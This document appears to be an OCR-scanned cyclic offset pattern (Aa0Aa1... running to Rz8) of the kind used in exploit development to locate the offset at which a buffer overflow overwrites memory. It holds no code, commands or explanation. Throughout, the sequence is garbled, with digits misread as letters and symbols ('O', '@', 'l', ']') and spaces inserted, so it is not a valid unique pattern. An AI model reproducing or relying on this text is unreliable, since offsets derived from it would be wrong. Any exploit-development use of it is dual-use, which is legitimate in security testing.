X5AX6AX7AX8AXOAYOAY1Ay2Ay3Ay4AYyS5AYy6AYy7AYy8AYyOAz0Az1AZz2Az3Az4Az5Az6Az7Az8Az9BadBalBa2Ba3Ba4Ba5Ba6bBa7Ba8
Ba9BboOBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9BcOBCc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be@Bel1Be
2Be3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BhOBh1Bh2Bh3Bh4Bh5B
h6Bh7Bh8Bh9Bi10Bi1Bi2Bi3Bi4Bi5Bi6B1i7Bi8Bi9BjOBj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9BkoBk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9
B10B11B12B13B14B15B16B17B18B19Bm@Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9BnOBNn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo®B01B02B0O
3Bo4Bo5B06B07B0o8B0o9BpOBp1Bp2Bp3Bp4BpS5Bp6Bp7Bp8Bp9BqOBq1Bq2Bq3Bg4Bq5Bg6Bq7Bq8Bq9BroBr1Br2Br3Br4Br5Br6B
r7Br8Br9Bs@Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8BsOBtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu@BuUlBu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9BvO
Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8BvIBWOBW1BwW2Bw3Bw4BwW5BW6BW7BW8BWOBXOBX1BXx2Bx3Bx4Bx5BXx6Bx7BXx8Bx9By0By1By2By 3By
4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0CalCa2Ca3Cad4Ca5Ca6Ca7Ca8Ca9CbOCb1Cb2Cb3Cb4Cb5Cb6Chb7C
b8Cb9CcOCc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8CcICdOCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9CedCelCe2Ce3Ce4Ce5Ce6Ce7Ce8Ce9CTOCT1
Cf2CF3CF4CF5CF6Cf7CF8CFICgACg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9ChACh1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9CieCilCi2Ci3Ci4Ci
5Ci6Ci7Ci8Ci9CjLCj1Cj2Cj3Cj4C]j5Cj6C]j7Cj8Cj9CkaCk1Ck2Ck3Ck4Ck5Ck6Ck7Ck8CkoC10C11C12C13C14C15C16C17C18C
19CmOCM1Cm2Cm3Cm4Cm5Cm6CM7CmM8CmMICNACN1CN2CN3Cn4Cn5CN6CNn7Cn8CN9C00C01C02C03C04C05C06C07C08C09CPACP1CP2
Cp3Cp4Cp5Cp6Cp7Cp8CPOCQACqlCq2Cq3CqaCg5Cq6Cq7Cq8CqoCroCrlCr2Cr3Cr4Cr5CreCr7Cr8CroCs0Cs1Cs2Cs3Cs4Cs5Cs
6Cs7Cs8Cs9CtOCtICt2Ct3Ct4Ct5Ct6Ct7Ct8CtI9CuUOCULCU2CU3Cu4Cu5CubCu7Cu8Cu9CveOCv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8CVIC
wOCW1Cw2Cw3Cw4Cw5CW6Cw7CW8CWICXOCX1CXx2CXx3CXx4Cx5Cx6Cx7Cx8Cx9Cy0ACy1Cy2Cy3Cy4Cy5Cy6Cy 7Cy8Cy9Cz0Cz1Cz2Cz3
Cz4Cz5Cz6Cz7Cz8Cz9DabbDalDa2Da3Da4ba5Da6éDa7Da8Da9DbODb1Db2Db3Db4Db5Db6Db7Db8Db9DcODc1Dc2Dc3Dc4Dc5Dc6DC
7Dc8Dc9DdeDd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De@De1De2De3De4De5De6De7De8De9DFODF1DF2Df3DF4DF5Df6Df7DF8DF9DgoOD
g1Dg2Dbg3Dg4Dg5Dg6Dg7Dg8Dg9DhoDh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6D17Di8Di9DjeDj1Dj2Dj3Dj4
Dj5Dj6Dj7Dj8Dj9DkeDk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9D10D11D12D13D14D15D16D17D18D19DmODm1Dm2Dm3Dm4Dm5Dm6Dm7Dm
8Dm9DNBDN1DN2DN3DNn4Dn5Dn6DN7DNn8DNn9Do0@Do1Do2Do3Do4Do5Do6D07Do8D0o9Dp@Dpl1Dp2Dp3Dp4Dp5Dp6Dp7Dp8DpODgeDgql1D
q2Dq3Dg4Dq5Dq6Dq7Dgq8DqSDroDr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8DroDs@Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9DtoDt1Dt2Dt3Dt4Dt5
Dt6Dt7Dt8Dt9Du@Du1Du2DuU3Du4Du5Du6DU7Du8DuUSDvODv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8DvIODwODw1Dw2Dw3Dw4Dw5DweDw7Dw8Dw
9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy 1Dy2Dy 3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz27Dz8Dz9Ea®EalEa2E
a3Ea4EaSEabEa7Ea8Ea9EbOEb1Eb2Eb3EbAELSED6ED7EDBEDIECOECIEC2EC3EC4ECSEC6EC7EC8ECOEAOEdIEd2Ed3Ed4EdSEAE
Ed7Ed8Ed9EeOEelEe2Ee3Ee4Ee5Ee6Ee7Ee8EeOEfOEf1Ef2Ef3EFA4EfSEf6ET7ETBETOEGOEg1Eg2Eg3Eg4EGSEG6EE7EEG8 EgOEN
OEh1Eh2Eh3Eh4ENSEh6Eh7ENR8EN9Ei1QEi11Ei2Ei3Ei4Ei5Ei6Ei7EI8EI9EjOEj1Ej2Ej3Ej4EJSEJ6Ej7Ej8EJOEKOEKIEK2EK3E
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k4EkS5EK6EK7EK8EKOEIQELI1E12E13E14E1S5E16E17E18E19EMOEMIEM2EM3EMAEMSEM6EM7EM8EMOENOEN1EN2EN3EN4ENSEN6EN7
ENn8EN9EOOEO01E02E03E04EO0SE06EO07EO8EO9EPOEPIEP2EP3EP4AEPSEP6EP7EPBEPOEQOEqLEq2EQ3Eq4EQSEqQ6EQ7EQ8EQOErQEr
1Er2Er3Er4Er5Er6Er7Er8Er9ESOES1ES2ES3ES4ESSES6ES7ES8ESOEtOEt1Et2Et3Et4Et5Et6EL7Et8EtOEUOEULEU2EU3EU4E
USEU6EU7EU8EU9EVOEV1EV2EV3EVAEVS5EV6EV7EVBEVOEWOEWIEW2EW3 EWAEWS EW6EW7 EWSEWOEXOEX1EX2EX3EX4EX5EX6EX7EX8
EX9EyQEy1Ey2Ey3Ey4EySEY6EYy7EYy8Ey9EZzOEZz1EZz2EZ3EZz4EZz5EZz6EZ7EZ8EZz9Fa@FalFa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9FboFb1Fb
2Fb3Fb4Fb5Fb6Fb7Fb8Fb9FCcOF c1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9FdOFd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe@FelFe2Fe3Fe4Fe5F
e6Fe7Fe8Fe9FfOFf1Ff2Ff3FfAFf5Ff6Ff7Ff8FfOFgOFg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9FhOFh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9
FiOFi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9FjOF j1Fj2Fj3Fj4Fj5Fj6F j7Fj8F jOFkOFk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9F10F11F12F1
3F14F15F16F17F18F19FmOFmM1Fm2Fm3Fm4Fm5Fm6Fm7Fm8FmOFnOFNn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9F0@Fol1F02Fo3Fo4Fo5Fo6F
07F08F09FpOFplFp2Fp3Fp4Fp5Fp6Fp7Fp8FpOFqOFqlFq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9FrOFrlFr2Fr3Fr4FrSFr6Fr7Fr8FroFse
FS1Fs2Fs3Fs4Fs5Fs6Fs7Fs8FsOFtOFt1Ft2Ft3Ft4Ft5Ft6Ft7Ft8FtOFuOFUlFu2Fu3Fud4FuS5Fu6Fu7Fu8FuSFvOFV1FV2FV3Fv
AFV5Fv6FV7FVv8FVOFWOFW1FW2Fw3Fw4FW5FW6FW7 FW8FWOFXOF X1FX2FX3FX4FX5FX6FX7Fx8FXOFyOFy1Fy2Fy3Fy4Fy5Fy6Fy7F
y8Fy9FzOFz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9GakGalGa2Ga3Ga4Ga5Ga6Ga7Ga8Ga9GboGb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9GCcAGC1
GCc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9GdOGd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0GelGe2Ge3Ge4Ge5Ge6Ge7Ge8Ge9GTOGT1GT2GF3GFA4GT
5Gf6GT7Gf8Gf9GgRGg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9GhoGh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9GiRGi1Gi2Gi3Gi4Gi5Gi6Gi7G1i8G
19Gj0Gj1Gj2Gj3Gj4G]j5Gj6Gj7G]j8Gj9GkOGk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9G10G11G12G13G14G15G16G17G18G19GMOGM1GM2
Gm3Gm4Gm5Gm6GM7Gm8GMOGNAGN1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1G02Go3Go4Go5G06G07Go8G09GpAGP1Gp2Gp3Gp4Gp5Gp
6Gp7Gp8Gp9GgRG1Gq2Gq3Gq4Gaq5Gq6Gq7Gq8GqoGraGrlGar2Gr3aGr4Grs5GreGr7Gr8aGroGsdGslGs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9G
tOGt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8GtI9GUOGUIGU2GU3GU4GUSGUEGU7GUBGUIGVOGVY1GV2GY3GVv4GV5GV6GY7GVv8GYOGWAGWIGW2GwW3
Gw4Gw5GweGw7 Gw8GWIGXOGX1GX2GX3GXx4GX5GX6GX7GX8GX9GYy0GYy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2G23Gz4Gz5Gz6GZ
7Gz8Gz9HaPHalHa2Ha3Ha4Ha5Ha6Ha7Ha8Ha9HbOHb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9HCOHC 1HCc2Hc 3Hc4HCc 5Hc6HC 7Hc8HC OHAOH
d1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He®He1He 2He3He4He5He6He7He 8He9HFOHF1Hf 2Hf3Hf4AHf5Hf 6 Hf7Hf8Hf9HgOHg1Hg 2Hg3Hg4
Hg5Hg6Hg 7Hg8Hg9HhOHh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9HiOHi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9HjOHj1Hj2Hj3Hj4Hj5Hj6H]j 7H]
8Hj9HkOHk1Hk 2Hk3Hk4Hk5HKk 6Hk7HKk 8HkOH1@H11H12H13H14H15H16H17H18H19HMOHM1HM2HM3HM4HM5HM6HM7 HM8HMOHNOHN1H
n2HN3HN4HN5HN6HN7HN8HN9HO®HO1HO02HO3HO4HO5HO6HO 7HO8HO9HPOHP 1Hp2HP 3HP4HP SHP6HP 7HP8HPOHqOHq1HG2HG3Hg4Hg5
Hq6Hq7Hq8Hq9HreOHr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8HPr9HSOHS1HS 2HS3Hs4HSs5Hs 6Hs 7HS 8HSOHtOHt1Ht 2Ht3Ht4Ht5Ht6Ht7Ht 8HE
9HuUOHU1HU2HU3HU4HuU5HU6HU7HU8HUSHVOHV 1HV2Hv 3HV4HV5HV6HV 7HV8HV SHWOHW1HW2Hw 3HWAHW5HW6 HW 7HW8 HWOH X@HX 1HX2H
X3HX4HX5HX6HX7HXx8HXx9HyOHy1Hy 2Hy3Hy4HYy5HYy 6HYy 7Hy 8Hy9HZzOHZz1HZz2HZ3Hz4Hz5Hz6HZz27HZ8HZz9Ia@Ialla2Ia3Ia4Ia5Ia6
Ia71a8Ia9Ib@Ibl1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9TIcOICc1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9IdOId1Id2Id3Id4Id5Id6Id7Id8Id9Ie
OIelIe2Ie3Ied4Ie5Ie6Ie7Ie8Ie9IfOIf1If2If3If4If5IFf6IF7IF8If9IgOIglIg2Ig3Ig4IgsIg6Ig7Ig8Ig9ThoIhlIh2Ih3I
h4Ih5Ih6Ih7Ih8Ih9Ti0Ii11i2Ti3Ti4Ti5Ti61i71i8Ti9T1jOIj1Ij21j31j4Ij5Ij6I1j71j8Ij9TkO0Ik1Tk2Ik3Ik4TIk5Ik6Ik7
Tk8Ik9I10I11T12T13T14TI15I16I17I18I19ImOIM1Im2Im3Im4Im5Im6Im7Im8ImMOINOIN1In2In3IN4IN5In6In7In8INn9Io0Io
1T102I03104105I06107I08I09Ip@IplIp2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iqelqlliq2Iq3Iq4aIq5IqeIq7Iq8Iq9IrelrlIr2Ir3Irdl
r5Ir6Ir7Ir8Ir9IsOIsl1Is2Is3Is4Is5Is6Is7Is8IsOItOItIIt2It3It4It5It6It7It8It9IuOIulIu2TIu3Iu4Iu5Iu6lu7Iu8
Tu9IveIvlIv2Iv3Iv4Iv5IveIv7Iv8IVOIwOIWIIw2IW3Iw4dIwSIw6Iw7IW8IWIIXOIX1IX2IX3IX4IX5IX6IX7IX8IXx9Iy0Iyl1ly
2Iy3Iy4Ty5Iy6Iy7I1y8Iy91z01z11z2123124125126127128129JakJalla2Ja3Ja4Ja5Ja63a73a83a93boIb1Ib2Ib3Ib4Ib5]
b6Ib7Ib8Ib93c0Ic1Ic2Ic3Ic4Ic53c63c7Ic8Ic93d0Id13d2Id33d41d53d6Id731d8Id9JedIelle2]e3]ed4]e5]e6]e7]e8]e9
Jf03f13f23f33f43f531Ff63f73f81f931g0Ig1Ig23g33g41g531g63g73g83g9Ih0Ih1Ih2Ih33h43h5IJh6Ih73h8Jh9Ji0Ji1Ji2Ji
3J143i53163i73i83i933j03Jj13]j23j33j43j531j63373j83j9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik931031131231331431531637
17318319Im@ImM1Im2Im3Im4Im5Im6Im7Im8Im9InN0@In1In2In3In4In5In6In7In8INn9J00J01Jo2J03J04J05J063J07308J091p0
Jp13p23p33p4Ip53p6Ip7Ip8Ip93qeIqllq23q33q43q53q63q73q8Iq9IreJrllr2Ir3Ir4lr5Jr6Jr73r8J3r93s0Jsl1]s23s3]s
43s53s6Js73s83s93t0Jt1Jt23t3It4It53t6It7It8It9Ju0IulIu2Iu3IudIu5IueIu7Iu8Iu9IveIviIv2Iv3Iv4Iv5IveIv7]
v8Jv9IwOIwlIw2Iw3Iw4Iw5IweIw7Iw8Iw9IXx0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9]y0Iy1Iy2]y3Iy4Iy5I1y6ly7]y8ly91z0Iz1
Jz2323324325326327328Jz9KadKalkKa2Ka3KadKa5Ka6Ka7Ka8Ka9KboKblkKb2Kb3Kb4Kb5Kb6Kb7Kb8KbOKcOKc1Kc2Kc3Kc4K e
5Kc6Kc7Kc8Kc9KdOKd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke@KelKe2Ke3Ked Ke5Keb6Ke7Ke8Ke9KFOKF1KF2KF3KFAKF5KF6KF7KF8K
fI9KgoKglKg2Kg3KgaKg5KgbKg7Kg8Kg9KhoKh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9KiOKi1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9KjoKj1Kj2
Kj3Kj4Kj5Kj6Kj7Kj8KjOKkoOKk1Kk2Kk3Kk4Kk5Kk6Kk 7Kk8KkOK10K11K12K13K14K15K16K17K18K19KmOKm1Km2Km3Km4Km5Km
6Km7Km8Km9KnOKn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9KoOKo1Ko2Ko3Ko4Ko5Ko6K07Ko8Ko9KpOKplKp2Kp3Kp4Kp5Kp6Kp7Kp8KpoK
qoKqg1lKqg2Kqg3Kq4Kq5KqeKq7Kgq8KqoKroKrl1Kr2Kr3Kr4Kr5Kr6Kr7Kr8KroKsOKs1Ks2Ks3Ks4Ks5Ks6Ks7Ks8KsOKtoOKt1Kt2Kt3
Kt4Kt5Kt6Kt7Kt8KtOKUuOKulKu2Ku3Ku4Ku5Ku6Ku7Ku8Ku9KvOKv1Kv2Kv3Kv4Kv5KveKv7Kv8KvIKwOKwIKw2Kw3Kw4KwS5KweKw
7KW8KwWIKXOKXIKX2KX3KXx4KX5KX6KX7KX8KXOKYOKY 1Ky2Ky 3Ky4Ky5Ky6Ky 7Ky8KyOKz0Kz1Kz2Kz3KZz4Kz5Kz26Kz27K28KZz9LaoL
alla2lLa3La4dlaSLablLa7La8La9lLbOLbllb2Lb3Lb4Lb5Lb6Lb7Lb8LbILcOLclLc2Lc3Lc4lc5Lcblc7Lc8LcoldoLdlLd2Ld3Ld4
Ld5Ld6Ld7Ld8Ld9Le@Lelle2le3Ledle5Leble7Le8LeOLfOLFILf2Lf3LFfALF5LF6LF7Lf8LfOLgOLglLg2Lg3Lg4Lg5LgoLg7Lg
8Lg9LhOLh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9LjOLj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9LkoLk1L
k2Lk3Lk4Lk5Lk6Lk7Lk8LkOL1OL11L121L13L14L15L16L17L18L19LmOLMILm2Lm3Lm4Lm5Lm6Lm7Lm8LMOLNOLN1Ln2Ln3Ln4Ln5
Ln6Ln7Ln8Ln9Lo0LolLo2Lo3Lo4Lo5Lo6L0o7Lo8Lo9LpOLplLp2Lp3Lp4LpS5Lp6Lp7Lp8LpOLqoLqllq2Lgq3Lgq4lg5Lg6Lgq7Lg8Lqg
OLrOLrlLr2Lr3Lr4Lr5Lr6Lr7Lr8LroLsOLs1Ls2Ls3Ls4Ls5Ls6Ls7Ls8LsOLtOLtILt2Lt3Lt4Lt5Lt6Lt7Lt8LtOLudLulLu2L
u3Lud4Lu5Lu6Lu7Lu8Lud9LvOLV1LV2LV3LVALV5LVELV7LVELVILWOLWILW2Lw3LwaALwSLweLw7 Lw8LWIOLXOLX1LX2LX3LXx4LX5LXx6
Lx7Lx8Lx9Ly@OLy1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9MaOMalMa2Ma3Mad4Ma5Ma6Ma7Ma8MaoMb
OMb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8MbOMcOMc1Mc 2Mc3Mc4Mc5Mc6Mc7Mc8McOMdOMd1Md2Md3Md4Md5Md6Md7Md8Md9MeOMe1Me2Me3M
e4Me5Meb6Me7Me8Me IMFOMF IMF2Mf 3MFAMF5SMT6Mf7MF8MFOMgOMg1Mg2Mg 3Mg4Mg 5Mgb6Mg 7Mg8MgOMhOMh1Mh2Mh 3Mh4Mh 5Mh6Mh7
Mh8Mh9Mi®OMi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9MjOMj1M]j2Mj3Mj4Mj5Mj6Mj7Mj8MjOMkOMk1Mk 2Mk 3Mk4Mk5Mk 6Mk7Mk 8MkOM1OM1
1M12M13M14M15M16M17M18M19MmOMmIMm2Mm3Mm4Mm5Mm6Mm7Mm8MmOMnNOMNn1Mn2Mn 3Mn4Mn 5Mn6Mn 7Mn8Mn9Mo@Mo 1Mo2Mo 3Mo4M
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05Mo6Mo07Mo8Mo9MpOMp1IMp 2Mp3Mp4Mp5Mp 6Mp7Mp 8MpOMqOMqlMg2Mq3Mq4Mg5MgqeMgq7Mgq8MgSMroMr1Mr 2Mr3Mr4MrSMreMr7Mr8
MrOMs@Ms 1Ms2Ms 3Ms4Ms 5Ms6Ms 7Ms8Ms OMtOMt IMt2Mt 3Mt4Mt 5MteMt 7Mt8Mt OMuOMu IMu2Mu 3Mu4Mu5Mu6Mu 7Mu8MuSMvOMy IMv
2Mv3Mv4Mv5Mv 6Mv7Mv 8MVIMWOMWIMw2Mw3Mw4MwS5MwEMw7Mw 8MWOMX OMX1Mx 2MX3MX4MX5Mx 6Mx7Mx 8MxOMy @My 1My 2My 3My4My 5M
y6My7My8My9Mz0OMz1Mz2Mz 3Mz4Mz5Mz6Mz7Mz8Mz9Na®NalNa2Na3Na4NaS5Na6Na7Na8NaSNbONb1Nb2Nb3Nb4Nb5SNb6Nb7Nb8Nb9
NcONcINc2Nc3Nc4Nc5Nc6Nc7Nc8NcONdONdINd2Nd3Nd4ANd5NdE6Nd7Nd8Nd9Ne@NelNe2Ne3Ne4Ne5Ne6Ne7Ne8NeINTFONFINF 2N
3NFANTSNTENT7NF8NFONgONgINg2Ng3Ng4Ng5SNg6Ng7Ng8NgONhONhINh2Nh3Nh4Nh5Nh6Nh7Nh8NhONiONi1INi2Ni3Ni4Ni5Ni6N
i7Ni8Ni9NjONjINj2Nj3Nj4NG5NjENF7Nj8NjONKkONKkINKk2Nk3Nk4ANKSNKkE6NK7NKk8NKONIONIINI2NI3N14NI5N1I6N17N18NIONmO
NmINm2Nm3Nm4Nm5Nm6Nm7Nm8NmONNONnINn2Nn3Nn4Nn5Nn6Nn7Nn8NnSNo@No1INo2No3No4No5No6No7No8NoONpONp INp2Np3Np
4ANp5Np6Np7Np8NpONgONgINGg2Ng3Ng4Ng5NgeNg7Ng8NgONrONrINr2Nr3Nr4aNrSNreNr7Nr8NrONsONSs1INS 2Ns3Ns4NS5Ns6Ns7N
S8NSONtONTtINt2Nt3NtANTSNEOENT7NEENTtONUONUINU2NU 3NU4ANUSNUENU7NUBNUSNVONVINV2NV3NVANVSNVENV7NVENVIONWONWL
Nw2Nw3NwANWSNWENW7 NwBNWINXONXINX2NX3NX4ANXSNXOENX7NXENXONYONYy 1Ny 2Ny3Ny4ANYy5SNy 6Ny 7Ny 8NyONzONzINz2Nz3Nz4Nz
5Nz6Nz7Nz8Nz90a@0al0a20a30a40a50a60a70a80a90b@0b10b20b30b40b50b60b70b80b90cO0c10c20c30c40c50c60c70c80
€90d00d10d20d30d40d50d60d70d80d90e00e10e20e30e40e50e60e70e80e90f00f10f20f30f40F50f60f70f801f90g00g10g2
0g30g40g50g60g70g80g90h00h10h20h30h40h50h60h70h80h90i00110120i30i401501601701801903j00j10j20330j40j50]
607370j80j90k00k10k20k30k40k50k60k70k80k90100110120130140150160170180190mO0OM10m20m30m40m50m60m70m80m90
n@ON10n20n30n40n50n60n70n80n90000010020030040050060070080090p@0p10p20p30p40p50p60p70p80p90g00q10g209g3
0g40g50g60q70gq80g90re0r10r20r30r40r50r60r70r80r90s00s10s20s30s40s50s60s70s80s90t00t10t20t30t40t50t60t
70t80t90u00u10u20u30u40u50u60u70u80uSOVOO0V10v20Vv30v40V50v60V70v80VI0WE0W10w20w30w40w50w60w70w80w90x00
x10x20x30x40x50x60x70x80x90y00y10y20y30y40y50y60y70y80y90z00210220230240250260270280z9PadPalPa2Pa3Pa4
PaS5Pa6Pa7Pa8Pa9PbOPb1Pb2Pb3Pb4Pb5Pb6Pb7Pb8PbOPcOPc1Pc2Pc3Pc4Pc5Pc6Pc7Pc8Pc9PdOPd1Pd2Pd3Pd4Pd5Pd6Pd7Pd
8Pd9Pe@PelPe2Pe3Pe4Pe5Pe6Pe7Pe8Pe9PfOPf1Pf2Pf3Pf4Pf5Pf6Pf7Pf8Pfo9PgOPg1Pg2Pg3Pg4Pg5Pg6Pg7Pg8Pg9PhOPh1P
h2Ph3Ph4Ph5Ph6Ph7Ph8Ph9Pi0@Pi1Pi2Pi3Pi4Pi5Pi6Pi7Pi8Pi9PjOPj1Pj2Pj3Pj4Pj5Pj6Pj7Pj8Pj9PkOPk1Pk2Pk3Pk4Pk5
Pk6Pk7Pk8Pk9P10P11P12P13P14P15P16P17P18P19PmMOPmM1Pm2Pm3Pm4Pm5Pm6Pm7Pm8PMOPNnOPN1PN2Pn3Pn4Pn5Pn6PN7Pn8Pn
9P00OP01P02P03P04Po5P06P07P0o8P0o9PpOPp1Pp2Pp3Pp4Pp5Pp6Pp7Pp8PpOPqOPqlPq2Pq3Pq4Pq5Pq6Pq7Pq8Pq9ProPri1Pr2P
r3Pr4Pr5Pr6Pr7Pr8ProPs@Ps1Ps2Ps3Ps4Ps5Ps6Ps7Ps8PsOPtOPt1Pt2Pt3Pt4Pt5Pt6Pt7Pt8PtOPuOPUlPu2Pu3Pu4Pu5Pu6
Pu7Pu8Pu9PvOPVv1PVv2PVv3Pv4Pv5Pv6PV7PVv8PVOPWOPW1PW2Pw3Pw4PW5PWEPW7PW8PWIPXOPX1PXx2Px3PXx4PX5PX6PX7PXx8PXx9Py
OPy1Py2Py3Py4Py5Py6Py7Py8Py9Pz0OPz1Pz2Pz3Pz4Pz5Pz6P2z7Pz8Pz9Qa0QalQa2Qa3Qa4Qa5Qa6Qa7Qa8Qa%QboQb1Qb2Qb3Q
b4Qb5Qb6Qb7Qb8Qb9QcAQc1Qc2Qc3Qc4Qc5Qc6Qc7Qc8Qc9QdeQd1Qd2Qd3Qd4Qd5Qd6Qd7Qd8Qd9QedQe1Qe2Qe3Qe4Qe5Qe6Qe?
Qe8Qe9QfeQf1Qf2Qf3Qf4QF5Qf6Qf7Qf8Q19Qg0Qg1Q82Qg3Q84Qg5Q86Q87Q088Qg9Qh0Qh1Qh2Qh3Qh4Qh5Qh6Qh7Qh8Qh9QieQi
1Q12Q13Q1i4Qi5Q16Q17Qi8Qi9Qj0Qj1Q32Q73Qj4Q]j5Q7j6Q77Q78Q]j9QkoQk1Qk2Qk3Qk4Qk5Qk6Qk7Qk8Qk9Q10Q11Q12Q13Q14Q
15Q016Q17Q18Q19QmeQm1Qm2Qm3Qm4Qm5Qm6Qm7Qm8QmIQneQNn1Qn2Qn3Qn4Qn5Qn6Qn7Qn8Qn9Qo0Q01Q02Q03Q04Q05Q06Q07Q08
Qo9QpeQp1Qp2Qp3Qp4Qp5Qp6QP7Qp8QP9Q9q0Qq1Q92Q93Qd4Q9q5Q96Q9q7Q9q8Qq9QreQriQr2Qr3Qr4QrsQreQr7QraQroQseQsiQs
2Qs3Qs4Qs5Qs6Qs7Qs8Qs9QtoQt1Qt2Qt3Qt4Qt5Q0t6Qt7Qt8QtO9QuOQuUIQU2Qu3Qu4Qu5QueQu7Qu8QuoQveQviQv2Qv3Qv4Qv5Q
v6Qv7Qv8QvoQwoQwlQw2Qw3Qw4Qw5QweQw7Qw8QwOQx0Qx1Qx2Qx3Qx4Qx5Qx6Qx7Qx8Qx9Qy0Qy1Qy2Qy 3Qy4Qy 5Qy6Qy 7Qy8Qy9
Qz0Qz1Qz2Qz3Qz4Qz5Qz6Qz7Qz8Qz9Ra®RalRa2Ra3Ra4Ra5Ra6Ra7Ra8Ra9RbORb1IRb2Rb3Rb4Rb5Rb6Rb7RbBRbIRCORCIRC2RC
3Rc4Rc5Rc6Rc7Rc8RcO9RAORAIRA2Rd3RA4RA5RA6RA7RA8RA9ReORe1Re2Re3Re4Re5Re6Re7Re8Re9RFORF1IRF2RF3RFARF5RF6R
f7Rf8RFI9RgORg1Rg2Rg3Rg4Rg5Rg6Rg7Rg8RgIRhORh1IRh2Rh3Rh4Rh5Rh6RNh7Rh8RNh9RiIOR11Ri2Ri3R14Ri5Ri6R17R18Ri9R ;0
Rj1Rj2Rj3Rj4R]j5Rj6Rj7Rj8RjORkORk1Rk2Rk3Rk4Rk5Rk6Rk7Rk8RkOR1OR11R12R13R14R15R16R17R18R19RMORM1RM2Rm3Rm
4Rm5RM6RM7RM8RMORNORN1RN2RN3RN4RN5RN6RN7RN8RN9ROORO1IRO02RO3R0O4R05R06R07ROBRO9RpORPIRp2Rp3Rp4Rp5Rp6RP7R
p8RpO9RgORq1IRG2Rq3Rg4Rg5Rq6Rq7RG8RAIRrORr1Rr2Rr3Rr4Rr5Rr6Rr7Rr8RrORSORS1RS2RSs3Rs4Rs5RS6Rs 7Rs8RsORtORt1
Rt2Rt3Rt4Rt5Rt6Rt7Rt8RtORUORULIRU2RU3RU4RUSRU6RU7RUBRUSRVORVIRV2RV3RVARV5RV6RV7RVERVORWORWIRW2RW3RWARW
SRW6RW7RWBRWIRXORXIRX2RX3RX4RX5RX6RX7RX8RX9RYORY1RYy2Ry3Ry4Ry5Ry6RYy 7Ry8RYO9RZzORz1RZz2Rz3Rz4Rz5Rz6Rz7Rz8R
